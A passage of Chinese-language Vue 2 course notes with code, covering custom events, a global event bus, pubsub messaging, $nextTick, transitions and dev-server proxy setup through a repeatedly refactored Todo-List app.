  4. 第一种方式,在父组件中:<Demo @事件名="方法"/>  或 <Demo v-on:事件名="方法"/>
  5. 第二种方式,在父组件中: this.$refs.ref值.$on('事件名',方法名)
  6. 若想让自定义事件只能触发一次,可以使用once修饰符,或$once方法
  7. 触发自定义事件:this.$emit('事件名',数据)
  8. 解绑自定义事件this.$off('事件名')
  9. 组件上也可以绑定原生DOM事件,需要使用native修饰符
  10. 注意:通过this.$refs.ref值.$on('事件名',回调)绑定自定义事件时,回调要么配置在methods中,要么用箭头函数,否则this指向会出问题!
<template>
  <div class="app">
    <h1>{{msg}},学生姓名是:{{studentName}}</h1>

    <!-- 通过父组件给子组件传递函数类型的props实现:子给父传递数据 -->
    <School :getSchoolName="getSchoolName"/>

    <!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第一种写法,使用@或v-on) -->
    <Student @atguigu="getStudentName" @demo="m1"/>

    <!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第二种写法,使用ref) -->
    <Student ref="student" @click.native="show"/>
    </div>
</template>

<script>
  import Student from './components/Student'
  import School from './components/School'

  export default {
    name:'App',
    components:{School,Student},
    data() {
      return {
        msg:'你好啊!',
        studentName:''
      }
    },
    methods: {
      getSchoolName(name){
        console.log('App收到了学校名:',name)
      },
      getStudentName(name,...params){
        console.log('App收到了学生名:',name,params)
        this.studentName = name
      },
      m1(){
        console.log('demo事件被触发了!')
      },
      show(){
        alert(123)
      }
    },
    mounted() {
      this.$refs.student.$on('atguigu',this.getStudentName) //绑定自定义事件
      // this.$refs.student.$once('atguigu',this.getStudentName) //绑定自定义事件(一次性)
    },
  }
</script>

<style scoped>
  .app{
    background-color: gray;
    padding: 5px;
  }
</style>

<template>
  <div class="student">
    <h2>学生姓名:{{name}}</h2>
    <h2>学生性别:{{sex}}</h2>
    <h2>当前求和为:{{number}}</h2>
    <button @click="add">点我number++</button>
    <button @click="sendStudentName">把学生名给App</button>
    <button @click="unbind">解绑atguigu事件</button>
    <button @click="death">销毁当前Student组件的实例(vc)</button>
  </div>
</template>

<script>
  export default {
    name:'Student',
    data() {
      return {
        name:'张三',
        sex:'男',
        number:0
      }
    },
    methods: {
      add(){
        console.log('add回调被调用了')
        this.number++
      },
      sendStudentName(){
        //触发Student组件实例身上的atguigu事件
        this.$emit('atguigu',this.name,666,888,900)
        // this.$emit('demo')
        // this.$emit('click')
      },
      unbind(){
        this.$off('atguigu') //解绑一个自定义事件
        // this.$off(['atguigu','demo']) //解绑多个自定义事件
        // this.$off() //解绑所有的自定义事件
      },
      death(){
        this.$destroy() //销毁当前Student组件的实例,销毁后所有Student实例的自定义事件都不奏效
      }
    },
  }
</script>

<style lang="less" scoped>
  .student{
    background-color: pink;
    padding: 5px;
    margin-top: 30px;
  }
</style>

使用自定义事件优化Todo-List

<template>
  <div id="root">
    <div class="todo-container">
      <div class="todo-wrap">
        <MyHeader @addTodo="addTodo"/>
          <MyList 
            :todos="todos" 
            :checkTodo="checkTodo" 
            :deleteTodo="deleteTodo"
            />
          <MyFooter 
            :todos="todos" 
            @checkAllTodo="checkAllTodo" 
            @clearAllTodo="clearAllTodo"
            />
          </div>
    </div>
  </div>
</template>

<script>
  import MyHeader from './components/MyHeader'
  import MyList from './components/MyList'
  import MyFooter from './components/MyFooter.vue'

  export default {
    name:'App',
    components:{MyHeader,MyList,MyFooter},
    data() {
      return {
        //由于todos是MyHeader组件和MyFooter组件都在使用,所以放在App中(状态提升)
        todos:JSON.parse(localStorage.getItem('todos')) || []
      }
    },
    methods: {
      //添加一个todo
      addTodo(todoObj){
        this.todos.unshift(todoObj)
      },
      //勾选or取消勾选一个todo
      checkTodo(id){
        this.todos.forEach((todo)=>{
          if(todo.id === id) todo.done = !todo.done
        })
      },
      //删除一个todo
      deleteTodo(id){
        this.todos = this.todos.filter( todo => todo.id !== id )
      },
      //全选or取消全选
      checkAllTodo(done){
        this.todos.forEach((todo)=>{
          todo.done = done
        })
      },
      //清除所有已经完成的todo
      clearAllTodo(){
        this.todos = this.todos.filter((todo)=>{
          return !todo.done
        })
      }
    },
    watch: {
      todos:{
        deep:true,
        handler(value){
          localStorage.setItem('todos',JSON.stringify(value))
        }
      }
    },
  }
</script>

<style>
  /*base*/
  body {
    background: #fff;
  }
  .btn {
    display: inline-block;
    padding: 4px 12px;
    margin-bottom: 0;
    font-size: 14px;
    line-height: 20px;
    text-align: center;
    vertical-align: middle;
    cursor: pointer;
    box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
    border-radius: 4px;
  }
  .btn-danger {
    color: #fff;
    background-color: #da4f49;
    border: 1px solid #bd362f;
  }
  .btn-danger:hover {
    color: #fff;
    background-color: #bd362f;
  }
  .btn:focus {
    outline: none;
  }
  .todo-container {
    width: 600px;
    margin: 0 auto;
  }
  .todo-container .todo-wrap {
    padding: 10px;
    border: 1px solid #ddd;
    border-radius: 5px;
  }
</style>
<template>
  <div class="todo-header">
    <input 
      type="text" 
      placeholder="请输入你的任务名称,按回车键确认" 
      v-model="title" 
      @keyup.enter="add"
      />
  </div>
</template>

<script>
  import {nanoid} from 'nanoid'
  export default {
    name:'MyHeader',
    data() {
      return {
        //收集用户输入的title
        title:''
      }
    },
    methods: {
      add(){
        //校验数据
        if(!this.title.trim()) return alert('输入不能为空')
        //将用户的输入包装成一个todo对象
        const todoObj = {id:nanoid(),title:this.title,done:false}
        //通知App组件去添加一个todo对象
        this.$emit('addTodo',todoObj,1,2,3)
        //清空输入
        this.title = ''
      }
    },
  }
</script>

<style scoped>
  /*header*/
  .todo-header input {
    width: 560px;
    height: 28px;
    font-size: 14px;
    border: 1px solid #ccc;
    border-radius: 4px;
    padding: 4px 7px;
  }

  .todo-header input:focus {
    outline: none;
    border-color: rgba(82, 168, 236, 0.8);
    box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);
  }
</style>
<template>
  <div class="todo-footer" v-show="total">
    <label>
      <!-- <input type="checkbox" :checked="isAll" @change="checkAll"/> -->
      <input type="checkbox" v-model="isAll"/>
    </label>
    <span>
      <span>已完成{{doneTotal}}</span> / 全部{{total}}
    </span>
    <button class="btn btn-danger" @click="clearAll">清除已完成任务</button>
  </div>
</template>

<script>
  export default {
    name:'MyFooter',
    props:['todos'],
    computed: {
      //总数
      total(){
        return this.todos.length
      },
      //已完成数
      doneTotal(){
        //此处使用reduce方法做条件统计
        /* const x = this.todos.reduce((pre,current)=>{
					console.log('@',pre,current)
					return pre + (current.done ? 1 : 0)
				},0) */
        //简写
        return this.todos.reduce((pre,todo)=> pre + (todo.done ? 1 : 0) ,0)
      },
      //控制全选框
      isAll:{
        //全选框是否勾选
        get(){
          return this.doneTotal === this.total && this.total > 0
        },
        //isAll被修改时set被调用
        set(value){
          // this.checkAllTodo(value)
          this.$emit('checkAllTodo',value)
        }
      }
    },
    methods: {
      /* checkAll(e){
				this.checkAllTodo(e.target.checked)
			} */
      //清空所有已完成
      clearAll(){
        // this.clearAllTodo()
        this.$emit('clearAllTodo')
      }
    },
  }
</script>

<style scoped>
  /*footer*/
  .todo-footer {
    height: 40px;
    line-height: 40px;
    padding-left: 6px;
    margin-top: 5px;
  }

  .todo-footer label {
    display: inline-block;
    margin-right: 20px;
    cursor: pointer;
  }

  .todo-footer label input {
    position: relative;
    top: -1px;
    vertical-align: middle;
    margin-right: 5px;
  }

  .todo-footer button {
    float: right;
    margin-top: 5px;
  }
</style>

全局事件总线(GlobalEventBus)

  1. 一种组件间通信的方式,适用于任意组件间通信
  2. 安装全局事件总线:
new Vue({
    ...
    beforeCreate() {
  		Vue.prototype.$bus = this //安装全局事件总线,$bus就是当前应用的vm
		},
    ...
})
  1. 使用事件总线:
  2. 接收数据:A组件想接收数据,则在A组件中给$bus绑定自定义事件,事件的回调留在A组件自身
methods(){
  demo(data){...}
}
...
mounted() {
  this.$bus.$on('xxx',this.demo)
}
  1. 提供数据:this.$bus.$emit('xxx',数据)
  2. 最好在beforeDestroy钩子中,用$off去解绑当前组件所用到的事件
//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//关闭Vue的生产提示
Vue.config.productionTip = false

//创建vm
new Vue({
  el:'#app',
  render: h => h(App),
  beforeCreate() {
    Vue.prototype.$bus = this //安装全局事件总线
  },
})
<template>
  <div class="app">
    <h1>{{msg}}</h1>
    <School/>
    <Student/>
  </div>
</template>

<script>
  import Student from './components/Student'
  import School from './components/School'

  export default {
    name:'App',
    components:{School,Student},
    data() {
      return {
        msg:'你好啊!',
      }
    }
  }
</script>

<style scoped>
  .app{
    background-color: gray;
    padding: 5px;
  }
</style>

<template>
  <div class="school">
    <h2>学校名称:{{name}}</h2>
    <h2>学校地址:{{address}}</h2>
  </div>
</template>

<script>
  export default {
    name:'School',
    data() {
      return {
        name:'尚硅谷',
        address:'北京',
      }
    },
    mounted() {
      // console.log('School',this)
      this.$bus.$on('hello',(data)=>{
        console.log('我是School组件,收到了数据',data)
      })
    },
    beforeDestroy() {
      this.$bus.$off('hello')
    },
  }
</script>

<style scoped>
  .school{
    background-color: skyblue;
    padding: 5px;
  }
</style>
<template>
  <div class="student">
    <h2>学生姓名:{{name}}</h2>
    <h2>学生性别:{{sex}}</h2>
    <button @click="sendStudentName">把学生名给School组件</button>
  </div>
</template>

<script>
  export default {
    name:'Student',
    data() {
      return {
        name:'张三',
        sex:'男',
      }
    },
    mounted() {
      // console.log('Student',this.x)
    },
    methods: {
      sendStudentName(){
        this.$bus.$emit('hello',this.name)
      }
    },
  }
</script>

<style lang="less" scoped>
  .student{
    background-color: pink;
    padding: 5px;
    margin-top: 30px;
  }
</style>

使用自定义事件优化Todo-List

//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//关闭Vue的生产提示
Vue.config.productionTip = false

//创建vm
new Vue({
  el: '#app',
  render: (h) => h(App),
  beforeCreate() {
    Vue.prototype.$bus = this
  },
})
<template>
  <div id="root">
    <div class="todo-container">
      <div class="todo-wrap">
        <MyHeader @addTodo="addTodo" />
          <MyList :todos="todos" />
          <MyFooter
            :todos="todos"
            @checkAllTodo="checkAllTodo"
            @clearAllTodo="clearAllTodo"
            />
          </div>
    </div>
  </div>
</template>

<script>
  import MyHeader from './components/MyHeader'
  import MyList from './components/MyList'
  import MyFooter from './components/MyFooter.vue'

  export default {
    name: 'App',
    components: { MyHeader, MyList, MyFooter },
    data() {
      return {
        //由于todos是MyHeader组件和MyFooter组件都在使用,所以放在App中(状态提升)
        todos: JSON.parse(localStorage.getItem('todos')) || [],
      }
    },
    methods: {
      //添加一个todo
      addTodo(todoObj) {
        this.todos.unshift(todoObj)
      },
      //勾选or取消勾选一个todo
      checkTodo(id) {
        this.todos.forEach((todo) => {
          if (todo.id === id) todo.done = !todo.done
        })
      },
      //删除一个todo
      deleteTodo(id) {
        this.todos = this.todos.filter((todo) => todo.id !== id)
      },
      //全选or取消全选
      checkAllTodo(done) {
        this.todos.forEach((todo) => {
          todo.done = done
        })
      },
      //清除所有已经完成的todo
      clearAllTodo() {
        this.todos = this.todos.filter((todo) => {
          return !todo.done
        })
      },
    },
    watch: {
      todos: {
        deep: true,
        handler(value) {
          localStorage.setItem('todos', JSON.stringify(value))
        },
      },
    },
    mounted() {
      this.$bus.$on('checkTodo', this.checkTodo)
      this.$bus.$on('deleteTodo', this.deleteTodo)
    },
    beforeDestroy() {
      this.$bus.$off('checkTodo')
      this.$bus.$off('deleteTodo')
    },
  }
</script>

<style>
  /*base*/
  body {
    background: #fff;
  }
  .btn {
    display: inline-block;
    padding: 4px 12px;
    margin-bottom: 0;
    font-size: 14px;
    line-height: 20px;
    text-align: center;
    vertical-align: middle;
    cursor: pointer;
    box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2),
      0 1px 2px rgba(0, 0, 0, 0.05);
    border-radius: 4px;
  }
  .btn-danger {
    color: #fff;
    background-color: #da4f49;
    border: 1px solid #bd362f;
  }
  .btn-danger:hover {
    color: #fff;
    background-color: #bd362f;
  }
  .btn:focus {
    outline: none;
  }
  .todo-container {
    width: 600px;
    margin: 0 auto;
  }
  .todo-container .todo-wrap {
    padding: 10px;
    border: 1px solid #ddd;
    border-radius: 5px;
  }
</style>

<template>
  <li>
    <label>
      <input type="checkbox" :checked="todo.done" @change="handleCheck(todo.id)"/>
        <!-- 如下代码也能实现功能,但是不太推荐,因为有点违反原则,因为修改了props -->
        <!-- <input type="checkbox" v-model="todo.done"/> -->
        <span>{{todo.title}}</span>
      </label>
    <button class="btn btn-danger" @click="handleDelete(todo.id)">删除</button>
  </li>
</template>

<script>
  export default {
    name:'MyItem',
    //声明接收todo
    props:['todo'],
    methods: {
      //勾选or取消勾选
      handleCheck(id){
        //通知App组件将对应的todo对象的done值取反
        // this.checkTodo(id)
        this.$bus.$emit('checkTodo',id)
      },
      //删除
      handleDelete(id){
        if(confirm('确定删除吗?')){
          //通知App组件将对应的todo对象删除
          // this.deleteTodo(id)
          this.$bus.$emit('deleteTodo',id)
        }
      }
    },
  }
</script>

<style scoped>
  /*item*/
  li {
    list-style: none;
    height: 36px;
    line-height: 36px;
    padding: 0 5px;
    border-bottom: 1px solid #ddd;
  }

  li label {
    float: left;
    cursor: pointer;
  }

  li label li input {
    vertical-align: middle;
    margin-right: 6px;
    position: relative;
    top: -1px;
  }

  li button {
    float: right;
    display: none;
    margin-top: 3px;
  }

  li:before {
    content: initial;
  }

  li:last-child {
    border-bottom: none;
  }

  li:hover{
    background-color: #ddd;
  }

  li:hover button{
    display: block;
  }
</style>

消息的订阅与发布

  1. 一种组件间通信的方式,适用于任意组件间通信
  2. 使用步骤:
  3. 安装pubsub:npm i pubsub-js
  4. 引入: import pubsub from 'pubsub-js'
  5. 接收数据:A组件想接收数据,则在A组件中订阅消息,订阅的回调留在A组件自身
methods(){
  demo(data){......}
}
......
mounted() {
  this.pid = pubsub.subscribe('xxx',this.demo) //订阅消息
}
  1. 提供数据:pubsub.publish('xxx',数据)
  2. 最好在beforeDestroy钩子中,用PubSub.unsubscribe(pid)去取消订阅
<template>
  <div class="school">
    <h2>学校名称:{{name}}</h2>
    <h2>学校地址:{{address}}</h2>
  </div>
</template>

<script>
  import pubsub from 'pubsub-js'
  export default {
    name:'School',
    data() {
      return {
        name:'尚硅谷',
        address:'北京',
      }
    },
    mounted() {
      // console.log('School',this)
      /* this.$bus.$on('hello',(data)=>{
				console.log('我是School组件,收到了数据',data)
			}) */
      this.pubId = pubsub.subscribe('hello',(msgName,data)=>{
        console.log(this)
        console.log('有人发布了hello消息,hello消息的回调执行了',msgName,data)
      })
    },
    beforeDestroy() {
      // this.$bus.$off('hello')
      pubsub.unsubscribe(this.pubId)
    },
  }
</script>

<style scoped>
  .school{
    background-color: skyblue;
    padding: 5px;
  }
</style>
<template>
  <div class="student">
    <h2>学生姓名:{{name}}</h2>
    <h2>学生性别:{{sex}}</h2>
    <button @click="sendStudentName">把学生名给School组件</button>
  </div>
</template>

<script>
  import pubsub from 'pubsub-js'
  export default {
    name:'Student',
    data() {
      return {
        name:'张三',
        sex:'男',
      }
    },
    mounted() {
      // console.log('Student',this.x)
    },
    methods: {
      sendStudentName(){
        // this.$bus.$emit('hello',this.name)
        pubsub.publish('hello',666)
      }
    },
  }
</script>

<style lang="less" scoped>
  .student{
    background-color: pink;
    padding: 5px;
    margin-top: 30px;
  }
</style>

使用消息的订阅与发布优化Todo-List

<template>
  <div id="root">
    <div class="todo-container">
      <div class="todo-wrap">
        <MyHeader @addTodo="addTodo"/>
          <MyList :todos="todos"/>
          <MyFooter 
            :todos="todos" 
            @checkAllTodo="checkAllTodo" 
            @clearAllTodo="clearAllTodo"
            />
          </div>
    </div>
  </div>
</template>

<script>
  import pubsub from 'pubsub-js'
  import MyHeader from './components/MyHeader'
  import MyList from './components/MyList'
  import MyFooter from './components/MyFooter'

  export default {
    name:'App',
    components:{MyHeader,MyList,MyFooter},
    data() {
      return {
        //由于todos是MyHeader组件和MyFooter组件都在使用,所以放在App中(状态提升)
        todos:JSON.parse(localStorage.getItem('todos')) || []
      }
    },
    methods: {
      //添加一个todo
      addTodo(todoObj){
        this.todos.unshift(todoObj)
      },
      //勾选or取消勾选一个todo
      checkTodo(id){
        this.todos.forEach((todo)=>{
          if(todo.id === id) todo.done = !todo.done
        })
      },
      //删除一个todo
      deleteTodo(_,id){
        this.todos = this.todos.filter( todo => todo.id !== id )
      },
      //全选or取消全选
      checkAllTodo(done){
        this.todos.forEach((todo)=>{
          todo.done = done
        })
      },
      //清除所有已经完成的todo
      clearAllTodo(){
        this.todos = this.todos.filter((todo)=>{
          return !todo.done
        })
      }
    },
    watch: {
      todos:{
        deep:true,
        handler(value){
          localStorage.setItem('todos',JSON.stringify(value))
        }
      }
    },
    mounted() {
      this.$bus.$on('checkTodo',this.checkTodo)
      this.pubId = pubsub.subscribe('deleteTodo',this.deleteTodo)
    },
    beforeDestroy() {
      this.$bus.$off('checkTodo')
      pubsub.unsubscribe(this.pubId)
    },
  }
</script>

<style>
  /*base*/
  body {
    background: #fff;
  }
  .btn {
    display: inline-block;
    padding: 4px 12px;
    margin-bottom: 0;
    font-size: 14px;
    line-height: 20px;
    text-align: center;
    vertical-align: middle;
    cursor: pointer;
    box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
    border-radius: 4px;
  }
  .btn-danger {
    color: #fff;
    background-color: #da4f49;
    border: 1px solid #bd362f;
  }
  .btn-danger:hover {
    color: #fff;
    background-color: #bd362f;
  }
  .btn:focus {
    outline: none;
  }
  .todo-container {
    width: 600px;
    margin: 0 auto;
  }
  .todo-container .todo-wrap {
    padding: 10px;
    border: 1px solid #ddd;
    border-radius: 5px;
  }
</style>

<template>
  <li>
    <label>
      <input type="checkbox" :checked="todo.done" @change="handleCheck(todo.id)"/>
        <!-- 如下代码也能实现功能,但是不太推荐,因为有点违反原则,因为修改了props -->
        <!-- <input type="checkbox" v-model="todo.done"/> -->
        <span>{{todo.title}}</span>
      </label>
    <button class="btn btn-danger" @click="handleDelete(todo.id)">删除</button>
  </li>
</template>

<script>
  import pubsub from 'pubsub-js'
  export default {
    name:'MyItem',
    //声明接收todo
    props:['todo'],
    methods: {
      //勾选or取消勾选
      handleCheck(id){
        //通知App组件将对应的todo对象的done值取反
        // this.checkTodo(id)
        this.$bus.$emit('checkTodo',id)
      },
      //删除
      handleDelete(id){
        if(confirm('确定删除吗?')){
          //通知App组件将对应的todo对象删除
          // this.deleteTodo(id)
          // this.$bus.$emit('deleteTodo',id)
          pubsub.publish('deleteTodo',id)
        }
      }
    },
  }
</script>

<style scoped>
  /*item*/
  li {
    list-style: none;
    height: 36px;
    line-height: 36px;
    padding: 0 5px;
    border-bottom: 1px solid #ddd;
  }

  li label {
    float: left;
    cursor: pointer;
  }

  li label li input {
    vertical-align: middle;
    margin-right: 6px;
    position: relative;
    top: -1px;
  }

  li button {
    float: right;
    display: none;
    margin-top: 3px;
  }

  li:before {
    content: initial;
  }

  li:last-child {
    border-bottom: none;
  }

  li:hover{
    background-color: #ddd;
  }

  li:hover button{
    display: block;
  }
</style>

$nextTick

语法:this.$nextTick(回调函数)
作用:在下一次 DOM 更新结束后执行其指定的回调
什么时候用:当改变数据后,要基于更新后的新DOM进行某些操作时,要在nextTick所指定的回调函数中执行

<template>
  <li>
    <label>
      <input type="checkbox" :checked="todo.done" @change="handleCheck(todo.id)"/>
        <!-- 如下代码也能实现功能,但是不太推荐,因为有点违反原则,因为修改了props -->
        <!-- <input type="checkbox" v-model="todo.done"/> -->
        <span v-show="!todo.isEdit">{{todo.title}}</span>
        <input 
          type="text" 
          v-show="todo.isEdit" 
          :value="todo.title" 
          @blur="handleBlur(todo,$event)"
          ref="inputTitle"
          >
        </label>
    <button class="btn btn-danger" @click="handleDelete(todo.id)">删除</button>
    <button v-show="!todo.isEdit" class="btn btn-edit" @click="handleEdit(todo)">编辑</button>
  </li>
</template>

<script>
  import pubsub from 'pubsub-js'
  export default {
    name:'MyItem',
    //声明接收todo
    props:['todo'],
    methods: {
      //勾选or取消勾选
      handleCheck(id){
        //通知App组件将对应的todo对象的done值取反
        // this.checkTodo(id)
        this.$bus.$emit('checkTodo',id)
      },
      //删除
      handleDelete(id){
        if(confirm('确定删除吗?')){
          //通知App组件将对应的todo对象删除
          // this.deleteTodo(id)
          // this.$bus.$emit('deleteTodo',id)
          pubsub.publish('deleteTodo',id)
        }
      },
      //编辑
      handleEdit(todo){
        if(todo.hasOwnProperty('isEdit')){
          todo.isEdit = true
        }else{
          // console.log('@')
          this.$set(todo,'isEdit',true)
        }
        this.$nextTick(function(){
          this.$refs.inputTitle.focus()
        })
      },
      //失去焦点回调(真正执行修改逻辑)
      handleBlur(todo,e){
        todo.isEdit = false
        if(!e.target.value.trim()) return alert('输入不能为空!')
        this.$bus.$emit('updateTodo',todo.id,e.target.value)
      }
    },
  }
</script>

<style scoped>
  /*item*/
  li {
    list-style: none;
    height: 36px;
    line-height: 36px;
    padding: 0 5px;
    border-bottom: 1px solid #ddd;
  }

  li label {
    float: left;
    cursor: pointer;
  }

  li label li input {
    vertical-align: middle;
    margin-right: 6px;
    position: relative;
    top: -1px;
  }

  li button {
    float: right;
    display: none;
    margin-top: 3px;
  }

  li:before {
    content: initial;
  }

  li:last-child {
    border-bottom: none;
  }

  li:hover{
    background-color: #ddd;
  }

  li:hover button{
    display: block;
  }
</style>

过渡与动画

Vue封装的过渡与动画:在插入、更新或移除DOM元素时,在合适的时候给元素添加样式类名
image.png
写法:

  1. 准备好样式
  • 元素进入的样式
    • v-enter 进入的起点
    • v-enter-active 进入过程中
    • v-enter-to 进入的终点
  • 元素离开的样式
    • v-leave 离开的起点
    • v-leave-active 离开过程中
    • v-leave-to 离开的终点
  1. 使用<transition>包裹要过渡的元素,并配置name属性,此时需要将上面样式名的v换为name
  2. 要让页面一开始就显示进入画面,需要添加appear属性
<template>
  <div>
    <transition name="hello" appear>
      <h1 v-show="isShow">你好啊!</h1>
    </transition>
  </div>
</template>

<style scoped>
  .hello-enter-active{
    animation: atguigu 0.5s linear;
  }

  .hello-leave-active{
    animation: atguigu 0.5s linear reverse;
  }

  @keyframes atguigu {
    from{
      transform: translateX(-100%);
    }
    to{
      transform: translateX(0px);
    }
  }
</style>
  1. 若有多个元素需要过渡,则需要使用<transition-group>,且每个元素都要指定key
<template>
	<div>
		<transition-group name="hello" appear>
			<h1 v-show="!isShow" key="1">你好啊!</h1>
			<h1 v-show="isShow" key="2">尚硅谷!</h1>
		</transition-group>
	</div>
</template>
  1. 第三方动画库Animate.css
npm install animate.css

<transition-group 
    appear
    name="animate__animated animate__bounce" 
    enter-active-class="animate__swing"
    leave-active-class="animate__backOutUp"
>
  <h1 v-show="!isShow" key="1">你好啊!</h1>
  <h1 v-show="isShow" key="2">尚硅谷!</h1>
</transition-group>

<script>
	import 'animate.css'
</script>
<template>
  <div>
    <Test/>
    <Test2/>
    <Test3/>
  </div>
</template>

<script>
  import Test from './components/Test'
  import Test2 from './components/Test2'
  import Test3 from './components/Test3'

  export default {
    name:'App',
    components:{Test,Test2,Test3},
  }
</script>

<template>
  <div>
    <button @click="isShow = !isShow">显示/隐藏</button>
    <transition name="hello" appear>
      <h1 v-show="isShow">你好啊!</h1>
    </transition>
  </div>
</template>

<script>
  export default {
    name:'Test',
    data() {
      return {
        isShow:true
      }
    },
  }
</script>

<style scoped>
  h1{
    background-color: orange;
  }

  .hello-enter-active{
    animation: atguigu 0.5s linear;
  }

  .hello-leave-active{
    animation: atguigu 0.5s linear reverse;
  }

  @keyframes atguigu {
    from{
      transform: translateX(-100%);
    }
    to{
      transform: translateX(0px);
    }
  }
</style>
<template>
  <div>
    <button @click="isShow = !isShow">显示/隐藏</button>
    <transition-group name="hello" appear>
      <h1 v-show="!isShow" key="1">你好啊!</h1>
      <h1 v-show="isShow" key="2">尚硅谷!</h1>
    </transition-group>
  </div>
</template>

<script>
  export default {
    name:'Test',
    data() {
      return {
        isShow:true
      }
    },
  }
</script>

<style scoped>
  h1{
    background-color: orange;
  }
  /* 进入的起点、离开的终点 */
  .hello-enter,.hello-leave-to{
    transform: translateX(-100%);
  }
  .hello-enter-active,.hello-leave-active{
    transition: 0.5s linear;
  }
  /* 进入的终点、离开的起点 */
  .hello-enter-to,.hello-leave{
    transform: translateX(0);
  }

</style>
<template>
	<div>
		<button @click="isShow = !isShow">显示/隐藏</button>
		<transition-group 
			appear
			name="animate__animated animate__bounce" 
			enter-active-class="animate__swing"
			leave-active-class="animate__backOutUp"
		>
			<h1 v-show="!isShow" key="1">你好啊!</h1>
			<h1 v-show="isShow" key="2">尚硅谷!</h1>
		</transition-group>
	</div>
</template>

<script>
	import 'animate.css'
	export default {
		name:'Test',
		data() {
			return {
				isShow:true
			}
		},
	}
</script>

<style scoped>
	h1{
		background-color: orange;
	}
	

</style>

使用动画优化Todo-List

<template>
  <ul class="todo-main">
    <transition-group name="todo" appear>
      <MyItem 
        v-for="todoObj in todos"
        :key="todoObj.id" 
        :todo="todoObj" 
        />
    </transition-group>
  </ul>
</template>

<script>
  import MyItem from './MyItem'

  export default {
    name:'MyList',
    components:{MyItem},
    //声明接收App传递过来的数据
    props:['todos']
  }
</script>

<style scoped>
  /*main*/
  .todo-main {
    margin-left: 0px;
    border: 1px solid #ddd;
    border-radius: 2px;
    padding: 0px;
  }

  .todo-empty {
    height: 40px;
    line-height: 40px;
    border: 1px solid #ddd;
    border-radius: 2px;
    padding-left: 5px;
    margin-top: 10px;
  }

  .todo-enter-active{
    animation: atguigu 0.5s linear;
  }

  .todo-leave-active{
    animation: atguigu 0.5s linear reverse;
  }

  @keyframes atguigu {
    from{
      transform: translateX(100%);
    }
    to{
      transform: translateX(0px);
    }
  }
</style>

Vue中的ajax

Vue脚手架配置代理

  • 下载axios库:npm install axios
  • 配置参考文档:Vue-Cli devServer.proxy
  • vue.config.js是一个可选的配置文件
    • 如果项目的根目录中存在vue.config.js,那么它会被@vue/cli-service自动加载
    • 你也可以使用package.json中的vue字段,但注意这种写法需要你严格遵照JSON的格式来写

方法一
vue.config.js中添加如下配置

module.exports = {
	devServer:{
    proxy:"http://localhost:5000"
  }
}

说明

  1. 优点:配置简单,请求资源时直接发给前端(8080)即可
  2. 缺点:不能配置多个代理,不能灵活的控制请求是否走代理
  3. 工作方式:若按照上述配置代理,当请求了前端不存在的资源时,才会将请求转发给服务器

方法二
编写vue.config.js配置具体代理规则

module.exports = {
  devServer: {
    proxy: {
      '/api1': {													//匹配所有以'/api1'开头的请求路径
        target: 'http://localhost:5000',	//代理目标的基础路径
        pathRewrite:{'^/api':''},					//代理往后端服务器的请求去掉'/api1'前缀
        ws: true, 												//用于支持websocket,默认是true
        changeOrigin: true								//用于控制请求头中的host值,默认是true
      },
      '/api2': {													//匹配所有以'/api2'开头的请求路径
        target: 'http://localhost:5001',	//代理目标的基础路径
        pathRewrite:{'^/api':''},					//代理往后端服务器的请求去掉'/api2'前缀
        ws: true, 												//用于支持websocket,默认是true
        changeOrigin: true								//用于控制请求头中的host值,默认是true
      }
    }
  }
}
/*
  changeOrigin设置为true时,服务器收到的请求头中的host为:localhost:5000
  changeOrigin设置为false时,服务器收到的请求头中的host为:localhost:8080
  changeOrigin默认值为true
*/

说明

  1. 优点:可以配置多个代理,且可以灵活的控制请求是否走代理
  2. 缺点:配置略微繁琐,请求资源时必须加前缀
module.exports = {
  pages: {
    index: {
      //入口
      entry: 'src/main.js',
    },
  },
	lintOnSave:false, //关闭语法检查
	//开启代理服务器(方式一)
	/* devServer: {
    proxy: 'http://localhost:5000'
  }, */
	//开启代理服务器(方式二)
	devServer: {
    proxy: {
      '/api1': {
        target: 'http://localhost:5000',
				pathRewrite:{'^/api1':''},
        // ws: true, //用于支持websocket
        // changeOrigin: true //用于控制请求头中的host值
      },
      '/api2': {
        target: 'http://localhost:5001',
				pathRewrite:{'^/api2':''},
        // ws: true, //用于支持websocket
        // changeOrigin: true //用于控制请求头中的host值
      }
    }
  }
}
<template>
  <div>
    <button @click="getStudents">获取学生信息</button>
    <button @click="getCars">获取汽车信息</button>
  </div>
</template>

<script>
  import axios from 'axios'
  export default {
    name:'App',
    methods: {
      getStudents(){
        axios.get('http://localhost:8080/api1/students').then(
          response => {
            console.log('请求成功了',response.data)
          },
          error => {
            console.log('请求失败了',error.message)
          }
        )
      },
      getCars(){
        axios.get('http://localhost:8080/api2/cars').then(
          response => {
            console.log('请求成功了',response.data)
          },
          error => {
            console.log('请求失败了',error.message)
          }
        )
      }
    },
  }
</script>

GitHub用户搜索案例

<!DOCTYPE html>
<html lang="">
  <head>
    <meta charset="utf-8">
    <!-- 针对IE浏览器的一个特殊配置,含义是让IE浏览器以最高的渲染级别渲染页面 -->
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <!-- 开启移动端的理想视口 -->
    <meta name="viewport" content="width=device-width,initial-scale=1.0">
    <!-- 配置页签图标 -->
    <link rel="icon" href="<%= BASE_URL %>favicon.ico">
    <!-- 引入bootstrap样式 -->
    <link rel="stylesheet" href="<%= BASE_URL %>css/bootstrap.css">
    <!-- 配置网页标题 -->
    <title><%= htmlWebpackPlugin.options.title %></title>
  </head>
  <body>
    <!-- 容器 -->
    <div id="app"></div>
  </body>
</html>
//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//关闭Vue的生产提示
Vue.config.productionTip = false

//创建vm
new Vue({
	el:'#app',
	render: h => h(App),
	beforeCreate() {
		Vue.prototype.$bus = this
	},
})
<template>
	<div class="container">
		<Search/>
		<List/>
	</div>
</template>

<script>
	import Search from './components/Search'
	import List from './components/List'
	export default {
		name:'App',
